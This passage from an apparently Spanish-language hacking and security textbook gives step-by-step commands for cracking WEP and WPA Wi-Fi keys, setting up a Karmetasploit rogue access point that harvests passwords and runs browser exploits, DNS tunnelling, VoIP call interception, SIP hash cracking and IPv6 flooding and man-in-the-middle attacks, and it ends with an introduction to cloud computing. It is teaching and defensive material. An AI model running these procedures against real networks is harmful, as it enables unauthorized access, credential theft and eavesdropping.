rápidamente. La combinación WPA2 + Servidor de autentificación Radius parece ser una buena solución en el momento de escribir de este libro, pero aun así infórmese sobre este tema, ¡ya que las tecnologías evolucionan rápidamente! 1. Crackear una red con cifrado WEP Aircrack es un conjunto de herramientas que nos permite crackear redes Wi-Fi. Para instalar en Debian aircrack-ng:apt-get install aircrack-ng Capturar paquetes Para obtener la clave WEP, tenemos que capturar paquetes. Partiremos de las siguientes suposiciones para el ejemplo:  Nuestra interfaz de red se llama wlan0.  El nombre de la red (ESSID) es ENI.  La dirección MAC del punto de acceso Wi-Fi es: 00:11:22:33:44:55.  La dirección MAC del ordenador cliente es: 00:00:00:00:00:01. Para saber el nombre de su interfaz, utilice el comando iwconfig. airodump-ng --write captura1 wlan0 Airodump es un programa que le permite capturar paquetes Wi-Fi. Para este ejemplo, los paquetes se capturan desde la interfaz wlan0 y se guardan en el archivo captura1.cap. Tendremos un archivo (captura1.txt) con información útil como por ejemplo los clientes conectados, las direcciones MAC... CH 10 ][ Elapsed: 3 mins ][ 2009-02-13 12:23 BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 4A:9A:6D:77:83:49 0 176 1 0 1 54e OPN FreeWi fi 00:18:E7:23:A5:DD 0 0 0 0 6 54e. WPA TKIP PSK Livebox-31B6 62:BA:70:71:55:2F 0 0 0 0 1 54e WPA TKIP MGT freeph one BSSID STATION PWR Rate Lost Packets Pro bes 4A:9A:6D:77:82:62 00:23:DF:26:82:23 0 54e- 1 0 7 (not associated) 00:09:2D:81:98:62 0 0 - 1 0 22 ENI (not associated) 00:1E:58:95:AB:AB 0 0 - 2 0 3 (not associated) 00:23:4D:29:7F:2E 0 0 - 1 0 4 link Para optimizar al máximo la captura, podemos especificar un canal, mediante la opción --channel y la dirección MAC del punto de acceso Wi-Fi: --bssid. Generar tráfico Para obtener la clave, son necesarios muchos paquetes, por lo menos 400.000 para una clave WEP de 64 bits y 1.200.000 para una clave WEP de 128 bits. Si no hay nadie conectado a la red, esta operación puede durar semanas. Vamos a tener que inyectar tráfico para alcanzar nuestro objetivo. Esta tarea es opcional, pero nos permitirá acelerar considerablemente la operación de cracking si no hay tráfico o si el que hay es muy poco. Por lo tanto su interfaz deberá aceptar el modo de inyección. Puede consultar la lista de compatibilidad en el sitio web de aircrack: http://www.aircrack-ng.org Aireplay permite realizar varios ataques:  -0: Desautentificación, desconecta clientes  -1: Falsa autentificación  -2: Reinyección de paquetes  -3: Inyección de peticiones ARP  -4: Ataque ChopChop  -5: Ataque por fragmentación  -6: Caffe Latte  -7: Cfrag  -z: PTW attack man airecrack-ng nos permitirá descubrir todas las posibilidades que nos ofrece esta herramienta. En primer lugar, vamos a generar una falsa autentificación: aireplay-ng -1 0 -e ENI -a 00:11:22:33:44:55 -h 00:00:00:00:00:01 wlan0 Es posible que haya un filtro activo por MAC. En este caso, utilice la dirección MAC de un equipo que esté conectado a la red, si no, este procedimiento fallará. Si comprueba que el número de paquetes capturados no aumenta, genere falsas autentificaciones regularmente para autentificarse de nuevo. No todas las interfaces de red y controladores Wi-Fi son compatibles con la inyección. Puede comprobar la compatibilidad de su interfaz de red en el sitio web oficial de aircrack: http://www.aircrack-ng.org/doku.php?id=compatibility_drivers Generamos un ataque de tipo inyección de petición ARP: aireplay-ng -3 -e ENI -b 00:11:22:33:44:55 -h 00:00:00:00:00:01 wlan0 Una vez que aireplay inyecte paquetes, vamos a ver un incremento neto en Airodump. Encontrar la clave Ejecutamos aircrack mediante el comando: aircrack-ng captura1.cap Si aircrack no es capaz de averiguar la clave, será necesario capturar más paquetes y volverlo a intentar más adelante. La siguiente imagen muestra la finalidad del ataque: encontrar la clave. En este caso es 0327466969 y se ha encontrado con algo menos de 47000 paquetes. El ataque PTW se ha añadido recientemente a aircrack y reduce significativamente el número necesario de IVs (PTW viene de Andrei Pyshkin, Erik Tews y Ralf-Philipp Weinmann, los tres autores del artículo que da a conocer un nuevo método de ataque WEP gracias a la correlación del generador pseudo-aleatorio en el algoritmo de cifrado). Clave encontrada con 47000 paquetes mediante PTW Si el filtrado de MAC está activado, basta con instalar macchanger, mediante el comando: apt-get install macchanger Para cambiar su dirección MAC: macchanger -m 00:00:00:00:00:01 wlan0 2. Crackear WPA El crack WPA está menos avanzado que el WEP. Sin embargo, se puede cazar la contraseña por diccionario. La elección del diccionario y de su método de generación es por lo tanto primordial para tener éxito en este ataque. Vamos a utilizar pyrit, un programa en Python que tiene la ventaja de poderse usar en clúster permitiendo de este modo utilizar la potencia de las GPU. Descarguemos los fuentes de pyrit usando svn: svn checkout http://pyrit.googlecode.com/svn/trunk/ pyrit Después, las herramientas para la compilación: sudo apt-get install libssl-dev python python-dev Compilamos e instalamos pyrit: python setup.py build sudo python setup.py install Vamos a empezar importando la lista de claves candidatas en una base de datos pyrit: pyrit -i dict.gz import_passwords Ahora vamos a importar los distintos ESSID, por ejemplo el ESSID linksys: pyrit -e linksys create_essid El siguiente comando combina las contraseñas con los distintos ESSID para generar PMK candidatos: pyrit batch Este procedimiento es el más largo. Lo que hace realmente, claro está, es generar los distintos PMK mediante un producto cartesiano (clave, essid). Para generar cada PMK, pyrit utiliza la función PBKDF2 (passphrase, salt, saltLength, 4096, 256) de PKCS #5 v2.0 pasando como argumentos la clave y el ESSID. Este último representa "su baza" o salt en inglés. La función PBKDF2 es lenta por definición, un procesador core2duo puede llegar a realizar 600 PMK por segundo. Se pueden usar los últimos procesadores o incluso FPGA. Sin embargo, las GPU parecen ser la solución por un presupuesto más que razonable. Gracias a las últimas tarjetas Nvidia con la tecnología CUDA, es posible alcanzar 89000 PMK/s con 4 GeForce en paralelo. Procedemos a capturar con airodump para obtener un archivo .cap: airodump-ng --write wpapskcaptura.cap wlan0. Sólo nos falta realizar el crack: pyrit -r wpapskcaptura.cap attack_db En el momento de escribir este libro es posible romper una clave de 8 caracteres, pero la técnica evoluciona rápidamente, así como el hardware, especialmente las tarjetas gráficas. También es factible capturar el protocolo WPA como sucede con el WEP. Este campo está muy activo, por lo que hay que ir siguiéndolo de cerca. 3. Rogue AP a. Introducción Si es complejo crackear una clave WPA, es más asequible aprovecharse de la nueva oleada de puntos de acceso para crear uno. Los hotspots son routers Wi-Fi que permiten a usuarios nómadas tener una conexión a Internet. Están por todas partes, en la mayoría de los restaurantes de comida rápida, universidades, incluso los hay en urbanizaciones. Un hotspot no tiene clave WEP o WPA y la mayoría de los usuarios intentan conectarse para acceder a Internet de forma gratuita. Los Rogues AP son por lo tanto falsos "routers Wi-Fi", en general hotspots, que recuperan todas las contraseñas que pueden y, si pueden, intentarán instalar una backdoor en los ordenadores cliente. Como es posible ver los clientes conectados mediante la herramienta aircrack así como autentificar un cliente, se los puede redirigir al Rogue AP. b. Despliegue de un Rogue AP con Karmetasploit Vamos a necesitar un PC y una tarjeta Wi-Fi que permita inyectar paquetes para crear un punto de acceso con ella. Si no tiene, puede usar un router Wi-Fi conectado a su PC, en este caso tendrá que adaptar las manipulaciones. En primer lugar, necesitamos instalar un servidor DHCP que nos permitirá configurar automáticamente las IP de los clientes como un verdadero router Wi-Fi. apt-get install dhcp3-server He aquí la configuración del servidor dhcp: /etc/dhcp3/dhcpd.conf option T150 code 150 = string; deny client-updates; one-lease-per-client false; allow bootp; ddns-updates off; ddns-update-style interim; authoritative; subnet 10.0.0.0 netmask 255.255.255.0 { interface at0; range 10.0.0.100 10.0.0.254; option routers 10.0.0.1; option subnet-mask 255.255.255.0; option domain-name-servers 10.0.0.1; allow unknown-clients; } Vamos a necesitar Aircrack-ng, compruebe que se haya instalado correctamente. Si no es así, se ha explicado cómo instalarlo en la sección Crackear una red con cifrado WEP de este capítulo. Pasamos la interfaz Wi-Fi a modo monitor: airmon-ng start wlan0 Este comando va a crear una nueva interfaz mon0, que soportará la inyección. Vamos a crear ahora el hotspot: airbase-ng -P -C 30 -e "Hotspot WiFi" -v mon0 -e es el ESSID de la red. Se puede personalizar el canal Wi-Fi e incluso la dirección MAC del punto de acceso. Ahora hay que configurar la dirección IP fija de nuestro punto de acceso. ifconfig at0 up 10.0.0.1 netmask 255.255.255.0 Ya estamos en condiciones de poder arrancar el servidor DHCP. /etc/init.d/dhcp3-server restart Hemos creado hasta ahora un punto de acceso funcional que permite navegar por la red. A continuación vamos a crear la parte "rogue". Para ello, vamos a usar Karmetasploit que es, de hecho, la asociación de Karma y Metasploit. Obtenemos la última versión de metasploit con el comando: svn co http://metasploit.com/svn/framework3/trunk msf3 Descargamos karma.rc wget http://digitaloffense.net/tools/karma.rc Sólo nos falta ejecutar Karmetasploit: ./msfconsole -r karma.rc Utilice uno de nuestros PCs para conectarse a su Rogue AP. Una vez se haya conectado, navegue por Internet. Rogue AP en acción en un cliente El Rogue AP, con esta configuración, buscará la forma de infectar su máquina mediante autoPWN, un servidor HTTP está en ejecución para intentar un exploit en su navegador web favorito. Karmetasploit también está configurado para recuperar sus contraseñas POP, FTP y HTTP. Todo lo que circule quedará registrado en un archivo .cap, el cual puede analizarse con Wireshark o también con la base de datos SQLite karma.db. Por Internet abundan los llamados "fake AP". Se trata de copias validadas de hotspots de ISPs. La única regla para defenderse es la de nunca confiar en ningún hotspot. No dude en utilizar túneles VPN o SSH. IP over DNS 1. Principio IP over DNS es una técnica que tiende a expandirse. En efecto, cada vez hay más hotspots Wi-Fi disponibles. El problema es que hay que autentificarse para tener acceso a Internet. La mayoría de estos hotspots están mal configurados y dejan pasar las peticiones DNS. En tal caso es posible encapsular paquetes TCP/UDP en una falsa petición DNS para crear un túnel. Esta técnica es conocida, pero todavía no está muy extendida debido a la falta de recursos. En efecto, para realizar este ataque, necesitaremos tener: un servidor, una IP pública y un nombre de dominio. 2. Uso Iodine es una excelente implementación de ip sobre DNS, todo ello de forma segura. Instalar iodine Obtenemos el archivo del sitio web http://code.kryo.se/iodine/. # descomprimimos el archivo tar xvzf iodine-0.5.2.tar.gz # compilamos iodine make # instalamos iodine como root make install # ejecutamos el servidor iodined -f 10.0.0.1 su dominio.com Tenemos que modificar el archivo de zona del dominio para delegar el subdominio a nuestro falso servidor DNS. tunel1host IN A ipdelservidor tunel1 IN NS tunel1host.mytunnel.com. Desde el lado cliente, basta con instalar iodine tal y como se ha indicado previamente y ejecutar el comando siguiente: iodine -f ipdelservidor sudominio.com Aparecerá una nueva interfaz en ifconfig. Para verificar si el túnel se ha establecido correctamente, podemos hacer un ping a la dirección IP del servidor: ping 10.0.0.1 Podemos comprobar que no hay mucho ancho de banda, del orden de una decena de KB/s. Esto se debe a la pérdida de paquetes. En efecto, las peticiones DNS son del tipo UDP, este protocolo no es el más reputado por su fiabilidad. Esta técnica también se puede aplicar al icmp en vez de al DNS. 3. Contramedida Cuando se crea un hotspot, es fácil establecer reglas para contrarrestar este tipo de problemas bloqueando las peticiones ping y DNS externas. También es sencillo detectar el problema. En efecto, si hay una cantidad de tráfico de resolución DNS desproporcionada, esto debería parecerle extraño a un administrador La telefonía IP La Voz sobre IP ha conseguido gran fama en España entre las empresas, pero también entre los particulares gracias especialmente a la proliferación de nuevos paquetes ADSL con esta tecnología. El phreaking, la técnica pirata dedicada a la telefonía, va convergiendo inevitablemente al hacking. En efecto, si la telefonía utiliza la red informática, heredará sus debilidades. Tradicionalmente, la telefonía sufre más a menudo dos tipos de ataques: la escucha de conversaciones telefónicas y el uso fraudulento de ésta. El phreaking antes era una disciplina deportiva, el phreaker estaba obligado a desplazarse físicamente para ir a conectar los cables para escuchar, tomar el control o, incluso, cortar la línea. Hoy en día todas estas operaciones son posibles sin tener que moverse y con unas pocas acciones. Por lo tanto, debemos admitir que la telefonía IP ayuda a los piratas informáticos gracias a la discreción que genera. En una red informática, el sniffing permite escuchar el tráfico, con lo que solamente nos quedamos a un paso de la escucha de una conversación telefónica. En lo relativo a la suplantación de la línea, el par identificador / contraseña puede ser capturado por un sniffer para aplicarle un ataque por fuerza bruta estando ya desconectado. 1. Escucha de la conversación El programa VoIPong permite registrar en un archivo wav una conversación VoIP. Puede utilizar el liveCD Backtrack para probar VoIPong o instalarlo en su sistema. Procedimiento de instalación Tiene que instalar previamente las dependencias libpcap y la utilidad sox en su equipo. Utilice una versión de sox de 2005. En efecto, VoIPong se desarrolló en esa época y, cuando el autor ha probado a usarlo, ha encontrado problemas con las nuevas versiones de sox. Descargamos VoIPong desde http://www.enderunix.org/voipong/ Lo descomprimimos: tar xvvf voipong-2.0.tar.gz Entramos en el directorio: cd voipong-2.0 Copiamos el Makefile para nuestro sistema operativo. Para Linux: cp Makefile.linux Makefile Compilamos: make Nos aseguramos de que somos root e instalamos el programa mediante el comando: make install Sólo nos falta configurar VoIPong. Para ello, editamos el archivo: /usr/local/etc/voipong/voipong.conf Modificamos, si procede, la ruta de sox (no se olvide indicar su interfaz de red en device). Utilización ./voipong -f En este instante, puede realizar un intento de llamada mediante su teléfono VoIP o desde su teléfono software. Las conversaciones están disponibles en formato WAV en el directorio output/. La herramienta voipctl es la consola de gestión de VoIPong. Esta consola permite, entre otras cosas, detener el servidor VoIPong y consultar las llamadas monitorizadas. 2. Usurpación de la línea El paquete sipcrack es un conjunto de herramientas que permiten esnifar y capturar el hash de una cuenta SIP en la red. Está disponible en el liveCD Backtrack o entre los paquetes de toda distribución que se precie. Instalación en Ubuntu: apt-get install sipcrack En primer lugar, vamos a intentar recuperar los identificadores de la línea SIP. Para ello, ejecutamos la herramienta sipdump disponible por la suite sipcrack. sipdump -i eth0 capturavoip Reemplace eth0 por su interfaz de red, capturavoip es el nombre del archivo en el que encontraremos los datos que haya capturado el sniffer. sipdump registrará las peticiones de autentificación que pasen por el sniffer en el archivo capturavoip, el cual contiene, para cada línea, toda la información necesaria: la pasarela, el identificador de usuario, un hash md5 de la contraseña y otro tipo de información menos útil. Sólo nos falta ejecutar sipcrack. sipcrack capturavoip -w diccio.txt diccio.txt es un archivo de diccionario. Por lo tanto, se puede usar un archivo de diccionario genérico o, todavía mejor, crear un archivo por fuerza bruta utilizando un programa que genere un diccionario con sus criterios. 3. Otros ataques Sólo hemos presentado las dos técnicas más utilizadas, pero nada le impide dejar inaccesible una línea, por ejemplo mediante un ARP cache poisioning. En algunos casos, los identificadores de la interfaz Web estarán incluso sin modificar, una búsqueda del manual de usuario en Internet le permitirá conocer los identificadores por defecto. En este caso se puede tener un acceso total al teléfono, obtener el historial de llamadas, los contactos... En el momento de escribir estas líneas, hemos comprobado que en nuestro hardware de pruebas (un swissvoice IP10S) la interfaz Web está mal montada. Basta con mostrar el código fuente de la página para ver que el campo input, de tipo password, muestra la contraseña sin cifrar. Toda la información queda por lo tanto disponible. Además, la interfaz Web está en HTTP y no en HTTPS, lo que significa que el simple hecho de ir a esta página compromete las credenciales si hay alguien que esté capturando paquetes en la red. Se puede atacar por software al protocolo SIP, o por hardware mediante el teléfono. Cada teléfono VoIP tiene al menos un servicio HTTP (para la configuración) y un servicio TFTP (para la actualización del firmware). La mayoría de los sistemas en uso nunca se actualizan, por lo tanto son muy tentadores a ojos del atacante. Generalmente tienen como resultado un comportamiento inesperado. Por ejemplo la vulnerabilidad: CVE-2007-4498 transforma el teléfono objetivo en un microespía. Si le interesa el amplio mundo del hacking VoIP, podemos aconsejarle el fabuloso libro, en inglés: Hacking Exposed VoIP: Voice Over IP Security Secrets & Solutions de David Endler & Mark Collier; el sitio web en Internet del libro (hackingvoip.com) contiene bastantes herramientas para realizar sus investigaciones. IPv6 Todavía no se ha producido la gran migración de Internet a IPv6. Sin embargo, estamos a punto de agotar las direcciones IPv4 en Europa y Estados Unidos y, en cuanto a Asia, se han quedado sin más IPv4 disponibles desde abril del 2011. En Europa, la fecha estimada se habrá superado cuando usted lea estas líneas. Sin embargo, la mayoría de las empresas y los operadores no han migrado todavía a IPv6. En la era de la virtualización en la que se necesitan cada vez más direcciones IP, tenemos la impresión que IPv6 no es más que un mito. ¿Por qué? Hay diferentes tipos de problemas asociados a una migración tan importante en una empresa. 1. Los programas Siempre tenemos como ejemplo el típico bug del año 2000. Cuando se crearon los programas de hace 10 o 20 años, no era ni imaginable dotar de IPv6 a los programas tipo cliente/servidor, ni siquiera los propios sistemas operativos de entonces lo implementaban. Puede ser que no haya mucho que hacer con las aplicaciones clásicas, ¿una simple actualización? A menudo de pago... Pero para aplicaciones de negocio desarrolladas específicamente cuyo creador ya no existe, la situación se complica. No hace falta decir que un parque de máquinas Windows XP no integra por defecto la pila IPv6, hay que entrar en cada equipo para activarla usando la consola. 2. El hardware Algunos equipos deberan cambiarse. Incluso los que requieran una simple actualización para ser compatibles puede que no sean aptos para establecer tantas conexiones como antes, dados los requerimientos de IPv6 en relación a IPv4 en un sistema integrado; puede haber una gran diferencia. 3. Factor humano IPv6 requiere que se realice formación al personal técnico. Esto representa un coste nada despreciable. Migrar suavemente a una arquitectura IPv6 es por tanto posible, a riesgo de hacer cohabitar IPv4 e IPv6 durante varios años. Pero, ¿cuál es la ventaja? ¿Realmente vale la pena para una empresa actualmente, conociendo las restricciones de coste, de tiempo, los problemas que esto puede representar, ahora que todo funciona y que la ventaja que aporta no se verá inmediatamente? Parece que actualmente la respuesta es que no. Sin embargo, algunos sistemas incorporan una capa IPv6 activada por defecto. Por lo tanto, es bueno conocer el funcionamiento y las diferentes maneras de atacar este protocolo para sacarle partido. 4. THC-IPv6 La suite THC-IPv6 es un aplicativo completo de herramientas de ataque al protocolo IPv6. Descargue la suite THC-IPv6 de la dirección http://thc.org/thc-ipv6/ Descomprima el archivo descargado. Instale las librerías de desarrollo y las herramientas de compilación en su sistema así como libssl y libpcap. En Ubuntu 12.04: # apt-get install openssl libssl-dev libpcap0.8-dev Después compile: # make Ahora ya dispone de un aplicativo de ataque a IPv6 completo. 5. Escanear los hosts En una red local Con IPv6, cada vez es más complejo escanear de forma lineal las IP. Las especificaciones de IPv6 permiten, sin embargo, detectar los vecinos de una red mediante el Neighbor Solicitation y hacerlo de forma pasiva (sin enviar paquetes a la red). El comando siguiente le dará los hosts vecinos en su red local: # ./alive6 <interfaz> En Internet La mejor solución es obtener las IP mediante los servidores DNS que, al fin y al cabo, son directorios. Esto es posible únicamente para los servidores. Para conocer la dirección de un internauta, nada le impide que lo atraiga con un servidor web para registrar su dirección IP; la cabecera de un email es también una buena alternativa. Sin embargo, se vuelve complejo escanear la totalidad del direccionamiento IPv6 en Internet dado el gran número de direcciones IP. Por lo tanto, ya no se puede hacer un escaneo de forma lineal en un espacio de tiempo limitado. Nicolas Collignon ha presentó al SSTIC 2007 un Framework llamado Sherlock. Esta herramienta permite escanear de forma repartida y siguiendo probabilidades de direccionamiento. Esto reduce considerablemente el tiempo necesario de un escaneo. 6. Flooder Si desea dañar toda una red dotada de máquinas con Windows 7, no le llevará mucho tiempo. En efecto, la pila que ha implementado Microsoft incluye un bug que, a día de hoy, todavía no se ha corregido. También se encuentra este problema en otros sistemas. Lance el comando flood_router6. En un sistema Windows 7, el ataque es fulgurante y no es posible trabajar en la máquina saturada aunque se trate de un core I7... 7. Ataque Man in the Middle El SEND (Secure Neighbor Discovery) no está activado por defecto, es posible hacerse pasar por un router IPv6. Desviando el tráfico de red por nuestro equipo se puede utilizar la técnica de Man in the middle como en IPv4. Active IPv6 forwarding: # sysctl -w net.ipv6.conf.all.forwarding=1 Después ejecute el script fake_router6: # ./fake_router6 <interfaz> <red> En el lado cliente, sólo hay que comprobar el desarrollo del ataque en las propiedades de red para comprobar que nuestro ataque se ha ejecutado con éxito. Para un ataque más realista, no olvide añadir una ruta por defecto a Internet usando la de su configuración. Nada nos impide ahora utilizar Wireshark para esnifar el tráfico de los clientes conectados. Condiciones generales de uso Copyright - ©Editions ENI Conclusión Los fallos de red son ataques temibles y muy conocidos ya que no son fáciles de corregir. Erradicar estos fallos conlleva cambiar la arquitectura de la red, y esto es costoso. En la red de redes, cambiarlo todo en pocos meses sería utópico dado el número de máquinas conectadas. Futuras mejoras vendrán con IPv6. Pero solamente este cambio de protocolo será lento y será necesario seguir siendo compatible con IPv4 durante mucho tiempo. A día de hoy, quedan muy pocas direcciones IPv4 públicas disponibles. IPv6 representa un riesgo mayor para los no iniciados. En efecto, desde el ADSL, nadie presta la atención suficiente a tener un cortafuegos en su equipo, ya que la ausencia de direcciones IP nos ha escondido detrás del NAT de nuestros routers. En el momento en que usted pase a IPv6, sus puertos abiertos quedarán a disposición de cualquiera que tenga una IPv6. Es cierto que escanear en IPv6 es mucho más lento ya que en vez de escanear una IP pública hay que escanear además todas las IPv6 sin utilizar de su red. Sin embargo, se están perfilando técnicas para basarse en un escaneo no lineal según probabilidades y de manera distribuida. Ya empiezan a diseñarse herramientas, encontrará por ejemplo la excelente suite THC- IPv6 citada anteriormente. Por lo tanto, tenemos que conocer los fallos de red para proteger mejor nuestras redes. Esto es muy importante ya que podemos tener las aplicaciones más seguras del mundo, pero si dejamos circular nuestros datos sin encriptar o con la posibilidad de que se puedan alterar, ¡se rompe la cadena! Presentación El mundo de la Informática ha experimentado una verdadera revolución estos últimos años con la aparición de un nuevo concepto: el Cloud Computing. Predicando la desmaterialización y la externalización de los servicios y de los datos en la red, el Cloud Computing no es una tecnología concreta sino más bien un conjunto de tecnologías conocidas y reconocidas que forman un nuevo modelo informático. El NIST (National Institute of Standards and Technology) da la siguiente definición de Cloud Computing: ”un modelo permanente de acceso fácil y bajo demanda, mediante la red, a un pool compartido de recursos informáticos configurables (por ejemplo, redes, servidores, almacenamiento, aplicaciones y servicios) que pueden ponerse rápidamente a disposición de los usuarios o liberarse con un esfuerzo mínimo de administración por parte de la empresa o del prestatario del servicio que proporciona dichos servicios”. Muchas empresas han pasado ya a este modelo, bien como proveedor o bien como usuario de soluciones Cloud: mensajería, CRM, ERP, herramientas colaborativas o incluso entornos de desarrollo están ahora accesibles en la nube. La carrera hacia la nube nunca ha sido tan dura y cada día se publica la aparición de proveedores que ofrecen nuevas funcionalidades. Pero esta democratización del Cloud Computing es relativamente reciente y se deben de respetar las reglas de seguridad para sacar provecho a todo su potencial. Vamos a ver en este capítulo las reglas que se deben seguir para pasar al Cloud Computing de manera protegida. Antes de nada sepa que, por su naturaleza, el Cloud no puede ser ”atacado”. Este modelo no es una tecnología sino que se compone de muchas tecnologías, las cuales pueden ser vulnerables. Un servicio web accesible en la nube conlleva potencialmente varios puntos de infección: un fallo web en el mismo sitio, un fallo de sistema en el servidor web, comprometer los intercambios en la red, etc. Por lo tanto, haremos alusión a estas vulnerabilidades a lo largo de todo el capítulo sin detenernos: le invitamos a remitirse a los distintos capítulos de este libro para aprender un poco más sobre estos tipos de fallos. Introducción al Cloud Computing 1. Historia Antes de hablar sobre la seguridad en el Cloud Computing, veamos qué es esto de la Informática en la nube y qué beneficios puede aportar a los usuarios. Comprenderá al final de esta sección por qué el Cloud está revolucionando nuestro uso de la Informática. Muchos hogares disponen de un equipo conectado a Internet, sólo para los usos cotidianos: envío de mails, consultar el tiempo e información, discusión en redes sociales, etc. En paralelo a esta democratización de la microinformática, aparecen nuevas necesidades: espacio de disco insuficiente, potencia de la máquina obsoleta, ancho de banda limitado o incluso dificultades en la instalación de algunos servicios no son más que ejemplos de problemas encontrados por los usuarios. Se necesitaba encontrar una solución. Es con la aparición de la virtualización y de la expansión de Internet en los años 1990 como el concepto del Cloud Computing ha comenzado a usarse: desmaterializar los servicios y los datos para acceder a ellos a través de la Red. Pero es en 2002 cuando aparece una aplicación concreta. En ese momento, el grupo Amazon, especializado en el comercio electrónico y especialmente en la venta de libros había invertido en un parque informático sobredimensionado capaz de absorber los pedidos introducidos durante los periodos de fiestas. Una observación: esta potencia informática quedaba sin usarse el resto del año. Eliminar servidores era impensable debido a que Amazon no habría podido ofrecer una calidad de servicio aceptable a sus usuarios. La idea era entonces alquilar bajo demanda los recursos sin utilizar para que los pudieran aprovechar las empresas: había nacido una aplicación concreta del Cloud Computing (el IaaS que veremos en la sección Los niveles de interacción). Paralelamente, otras firmas se acogieron a trasladar a la web muchas aplicaciones pesadas, permitiendo a cualquiera que dispusiera de una conexión a Internet utilizar estas herramientas. 2. Conceptos clave El Cloud Computing predica por encima de todo la desmaterialización de los servicios y de los datos. Se acaban los programas en nuestros equipos, ya no más fotos o vídeos almacenados directamente en nuestro disco duro, todo se hace en la Red. Pero el Cloud Computing va más allá de esta simple desmaterialización y se puede definir por los conceptos siguientes. a. Facturación por uso Un usuario X no consume en ningún caso el mismo ancho de banda o no utiliza el mismo espacio de almacenamiento que un usuario Y. ¿Por qué ambos deben pagar el mismo precio? Partiendo de este principio la Nube permite el pago de los recursos según su uso, como en el pago de la electricidad o de nuestra factura del agua. b. Elasticidad y agilidad de recursos Uno de los objetivos del Cloud Computing es ”esconder” los aspectos técnicos (según el nivel de interacción) al usuario. Por lo tanto, la creación y la asignación de nuevos recursos debe realizarse de manera muy simple y rápida. En concreto, algunos clics deben bastar para obtener una nueva máquina virtual o incluso para aumentar su espacio de almacenamiento. Desde un punto de vista técnico, estas ideas son posibles gracias a los conceptos de Auto-scaling y de Load Balancing. c. Socializar recursos El Cloud Computing extrae su potencial del concepto de virtualización. Los recursos asignados a los usuarios se ponen en común para disminuir el coste de mantenimiento de infraestructura y, por consiguiente, el coste de uso de los usuarios. Esta socialización puede realizarse a nivel físico (servidor, almacenamiento, red) o a nivel de aplicación (bases de datos, servidores de aplicaciones, etc.). d. Acceso sencillo a través de la red La Nube no es en sí misma una tecnología nueva sino más bien un concepto basado en un conjunto de tecnologías existentes o emergentes. Entre ellas se encuentran los protocolos usados en la web: HTTP, SSH, etc. El objetivo es simplificar los intercambios y la comunicación entre el usuario y el proveedor ofreciendo un servicio fácilmente accesible desde cualquier máquina conectada a la red. 3. Niveles de Interacción Generalmente se distinguen tres niveles de interacción cuando se habla de Cloud Computing:  El SaaS: Software as a Service  El PaaS: Platform as a Service  El IaaS: Infrastructure as a Service Cada una de estas capas ofrece servicios y funcionalidades distintas y conciernen, por lo tanto, a un tipo de usuario distinto. Sin entrar en detalles, a continuación se describe brevemente su función: SaaS Esta capa es sin lugar a dudas la más conocida debido a que actualmente es la más usada. Nos encontramos el conjunto de aplicaciones disponibles en la Red desde un simple navegador web. Se pueden citar los CRM, los ERP, los servicios de mensajería online, etc. Todo usuario que consulta sus correos en el servicio de Gmail de Google por ejemplo está utilizando el Cloud Computing. PaaS El PaaS está dedicada por su parte a los usuarios que tienen un perfil de desarrollador. Los recursos ofrecidos por el proveedor PaaS se dedican al alojamiento de aplicaciones del cliente. En concreto, éste se encarga de desarrollar sus aplicaciones y de desplegarlas con tan sólo unos clics en el centro de datos del proveedor. La actualización de servidores y de hardware se confía, entonces, a este último. IaaS Esta última capa es la más baja de todas y concierne a los perfiles técnicos. Se trata de ofrecer recursos de bajo nivel (servidores, redes, almacenamiento) a los usuarios y dejarles que ellos mismos se gestiones sus servidores. La IaaS puede definirse como un ”datacenter listo para usar”, el proveedor sólo tiene que gestionar el hardware. Existen también otras capas que no comentaremos, como la DaaS (Data as a Service), la StaaS (Storage as a Service), el HaaS (Hardware as a Service), el PraaS (Processus as a Service)... el límite queda en la imaginación de los proveedores. 4. Cloud privado, público e híbrido Sin extendernos más en las explicaciones del Cloud (que merecerían una obra entera), citaremos a pesar de todo los tres tipos de Cloud que nos podemos encontrar. a. Cloud público El Cloud público se ofrece en la web por empresas especializadas, como Amazon, Google, Microsoft, Salesforce, Dropbox o incluso OVH que ha debutado recientemente en este dominio. El objetivo es el de proporcionar un servicio en línea a los usuarios, fácilmente accesible desde una simple conexión a Internet. b. Cloud privado Algunas empresas aún tienen reticencias al Cloud Computing y, por consiguiente, prefieren utilizar un entorno de Cloud Computing interno. Este entorno se almacena en sus propios servidores para no externalizar sus datos ni sus aplicaciones en casa de un externo. Existen soluciones de Cloud privado listas para usar y una empresa puede fácilmente instalarse una interna. Los usuarios de la empresa pueden aprovechar entonces las ventajas del Cloud almacenando sus datos en los servidores de la empresa. c. Cloud híbrido Para una empresa, el desplegar una solución de Cloud privado puede ser interesante pero sigue siendo, a pesar de todo, muy cara. Por este motivo, algunas empresas deciden externalizar algunas aplicaciones y datos no críticos a los recursos de un proveedor externo (Cloud público) mientras guardan las aplicaciones y los datos críticos internamente (Cloud privado). Se puede citar por ejemplo el caso de los institutos hospitalarios que deben de responder a criterios de seguridad muy estrictos y que prefieren almacenar los historiales de los clientes internamente, mientras que el fichaje de trabajadores puede tratarse correctamente en casa de un proveedor externo. 5. La responsabilidad de los proveedores Verá a continuación en este capítulo que una gran parte de la seguridad del Cloud Computing pasa por la elaboración de restricciones muy estrictas entre el cliente y el proveedor. Por lo tanto conviene conocer los distintos niveles de responsabilidad del proveedor en función de la capa utilizada. La responsabilidad del proveedor se simboliza con los bloques de color azul, la del cliente por los bloques de color blanco. El caso de los sistemas operativos es específico ya que las responsabilidades pueden ser compartidas en el caso de IaaS. Por lo tanto, se puede comprobar que la responsabilidad del proveedor es más importante en las capas SaaS y PaaS, mientras que no se puede responsabilizar en algunos casos en el nivel de IaaS. En efecto, en el caso de una Infrastructure as a Service, el proveedor no podría considerarse responsable de una vulnerabilidad en la base de datos instalada y configurada por el usuario final. Riesgos asociados a los datos 1. Responsabilidad jurídica del cliente y del prestatario a. Derechos y obligaciones Una de las principales cuestiones que aparecen cuando se trata más en profundidad el Cloud Computing es la responsabilidad jurídica del cliente y del prestatario sobre los datos albergados en casa de este último. Los datos pueden ser de todo tipo: documentos de texto, fotos, vídeos, datos personales, código fuente de aplicaciones, etc. En España, se aplican varios derechos y obligaciones sobre los datos que se pueden albergar en casa de un proveedor:  Los derechos de autor: los derechos de autor están estipulados dentro de la Ley de la propiedad intelectual (Real Decreto legislativo 1/1996, ley del 12 de abril de 1996). Esta ley estipula que ”se considera autor a la persona natural que crea alguna obra literaria, artística o científica”.  El derecho a la vida privada: el artículo 18.1 de la Constitución Española establece que ”se garantiza el 